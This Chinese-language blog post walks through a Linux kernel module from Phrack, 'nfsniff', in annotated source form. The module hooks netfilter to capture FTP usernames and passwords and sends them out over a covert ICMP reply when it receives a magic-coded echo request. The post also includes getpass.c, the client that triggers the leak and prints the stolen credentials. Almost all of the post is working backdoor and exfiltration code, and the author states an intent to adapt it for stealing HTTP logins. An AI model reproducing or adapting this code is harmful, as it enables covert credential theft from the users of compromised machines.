Linux内核

【源码分析】基于内核的FTP密码嗅探器

2020-06-17  本文已影响0人  Minority

这个例子是Phrack Magazine给出的一个示例,我们要做的基于netfilter和LVM实现http明文登录方式的密码窃取的大致流程和这个类似,分析清楚这个也好在此基础上修改实现我们的功能。

需要提前了解的知识:

下面重点解析nfsniff/nfsniff.c文件(嗅探模块),getpass.c与使用raw socket实现icmp重定向攻击的实现基本相同,如不理解可以参考这篇文章。

<++> ================================nfsniff/nfsniff.c================================
/* Simple proof-of-concept for kernel-based FTP password sniffer.
 * A captured Username and Password pair are sent to a remote host
 * when that host sends a specially formatted ICMP packet. Here we
 * shall use an ICMP_ECHO packet whose code field is set to 0x5B
 * *AND* the packet has enough
 * space after the headers to fit a 4-byte IP address and the
 * username and password fields which are a max. of 15 characters
 * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

 /* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

/* 设置一个magic number,用作暗号 */
#define MAGIC_CODE   0x5B
/* ICMP有效负载大小为36字节:
  target_ip四个字节 + username预留16字节 + password预留16字节
 */
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
                   - sizeof(struct iphdr) \
                   - sizeof(struct icmphdr))

/* 这些值用于保存用户名和密码直到他们被询问,用户名密码只保存一次,一旦被查询过了就删除 */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;   /* 拿到密码的标志 */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;          /* Incoming */
struct nf_hook_ops  post_hook;         /* Outgoing */


/* 该函数查看已知是FTP包的sk_buff。查找USER和PASS字段,确保它们都来自target_ip字段中指定的主机 */
static void check_ftp(struct sk_buff *skb)
{
  struct tcphdr *tcp;
  char *data;
  int len = 0;
  int i = 0;
  // 得到tcp数据包
  tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
  // 得到TCP数据报的数据部分,tcp->doff是TCP头长度
  data = (char *)((int)tcp + (int)(tcp->doff * 4));

  /* 确保此数据包的目的地和target_ip是同一台主机 */
  if (username)
    if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
      return;
  
  /* 尝试看看这是否是一个用户或密码,ftp数据包中USER之后是用户名,PASS之后是密码 */
  if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      // 把data移动到“USER ”(5byte)之后,开始取数据
      data += 5;
      
      if (username)  return;
      // 记录数据长度(用wireshark抓包可以发现,用户名和密码后面都有\r\n结束符)
      while (*(data + i) != '\r' && *(data + i) != '\n'
        && *(data + i) != '\0' && i < 15) {
            len++;
            i++;
      }
      // 分配内存:大小为len+2
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
          return;
      // 初始化内存
      memset(username, 0x00, len + 2);
      // 拷贝真正的username
      memcpy(username, data, len);
      // len + 2的原因
      *(username + len) = '\0';        /* NULL terminate */
  }
  // 密码的操作同上
  else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* 如果没有用户名,那就不用获取密码 */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
        && *(data + i) != '\0' && i < 15) {
          len++;
          i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
        return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';        /* NULL terminate */
  }
  // 
  else if (strncmp(data, "QUIT", 4) == 0) {
      /* 收到退出命令。如果我们有用户名但没有密码,清除用户名并重置一切 */
      if (have_pair)  return;
      if (username && !password) {
        kfree(username);
        username = NULL;
        target_port = target_ip = 0;
        have_pair = 0;
    
        return;
      }
  }
  else {
       return;
  }

  if (!target_ip)
    target_ip = skb->nh.iph->daddr;
  if (!target_port)
    target_port = tcp->source;
  // 拿到用户名和密码后把have_pair标志置1,
  if (username && password)
    have_pair++;               /* Have a pair. Ignore others until
        * this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* 函数作为POST_ROUTING (last)钩子调用。它会检查FTP流量出去的数据,然后搜索该流量的用户和传递命令。 */
static unsigned int watch_out(unsigned int hooknum,   //钩子类型
                  struct sk_buff **skb,  //sk_buff结构的指针,用于描述数据包的结构
                  const struct net_device *in,  //描述各种网络接口数据包到达的接口
                  const struct net_device *out, //描述各种网络接口数据包离开的接口
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;        
   struct tcphdr *tcp;
   
   /* 因为我们需要的数据包是TCP数据包,所以把非TCP数据包放行 */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;            
   
   // 得到tcp数据包:把ip数据包的头部除去了
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* 如果这个端口不是ftp的数据传输端口,则放行 */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;             
   
   /* 如果是ftp数据包,而且还没有拿到密码,则进程数据包解析 */
   if (!have_pair)
    check_ftp(sb);
   
   /* 解析完放行 */
   return NF_ACCEPT;
}


/* 把发来的代码Magic number的数据报,填上我们偷到的用户名和密码再返还回去 */
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff **skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;              /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */

   /* 偷到密码==>放行 */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* 放行ICMP数据包*/
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   // 得到icmp包:ip数据包去掉IP头部
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* 验证是不是带有MAGIC_CODE的请求数据包 */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* 匹配我们的“魔法”检查,现在我们篡改插入IP地址和用户名/密码对的sk_buff,交换IP源地址和目标地址以及以太网地址
     如果有必要,然后从这里发送数据包并告诉Netfilter是我们偷的。 */

   //交换源ip和目的ip 
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;
   
   //表面数据包是向外发的
   sb->pkt_type = PACKET_OUTGOING;
   
   //确定这个数据包来自的什么类型的接口
   switch (sb->dev->type) {
      case ARPHRD_PPP:             /* No fiddling needs doing */
        break;
      case ARPHRD_LOOPBACK:
      case ARPHRD_ETHER:
      {
        unsigned char t_hwaddr[ETH_ALEN];
        
        /* 移动数据指针指向链接层头,改变链路头的h_dest和 h_source*/
        sb->data = (unsigned char *)sb->mac.ethernet;
        sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
        memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
        memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
          ETH_ALEN);
        memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
      
        break;
      }
   };
 
   /* 复制IP地址,然后用户名,然后密码到数据包中 */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);    // target_ip四个字节
   if (username)
     memcpy(cp_data + 4, username, 16); // username预留16字节
   if (password)
     memcpy(cp_data + 20, password, 16); // password预留16字节
   
  /* 发送数据帧 */
   dev_queue_xmit(sb);

   /* 释放保存的用户名和密码并重置have_pair  */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}

// 注册模块
int init_module()
{
   pre_hook.hook     = watch_in;  // 回调函数为watch_in
   pre_hook.pf       = PF_INET;   // 协议类型:PF_INET,面向IP层的原始套接字
   pre_hook.priority = NF_IP_PRI_FIRST;     //优先级
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;   //关键点:对netfilter的PRE_ROUTING位置操作,钩子调用的函数
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING; //关键点:对netfilter的POST_ROUTING位置操作,钩子调用的函数
   
   // 注册函数
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

// 注销模块
void cleanup_module()
{
  // 注销函数
  nf_unregister_hook(&post_hook);
  nf_unregister_hook(&pre_hook);
  
  //注销模块时释放内存
  if (password)
    kfree(password);
  if (username)
    kfree(username);
}
<++> ========================nfsniff/getpass.c ========================
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD             /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* checksum函数声明 */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{   
    unsigned char dgram[256];        /*buffer */   
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
      fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
      exit(1);
    }

    /* 得到raw socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
      fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno));
      exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
      close(icmp_sock);
      fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno));
      exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;         // 主要点:0x5B为Magic number
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno));
        return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");

    //发过去再接受
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
      fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno));
      close(icmp_sock);
      exit(1);
    }
    
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n", (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n", (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}

/* 校验函数 */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
上一篇 下一篇

猜你喜欢

热点阅读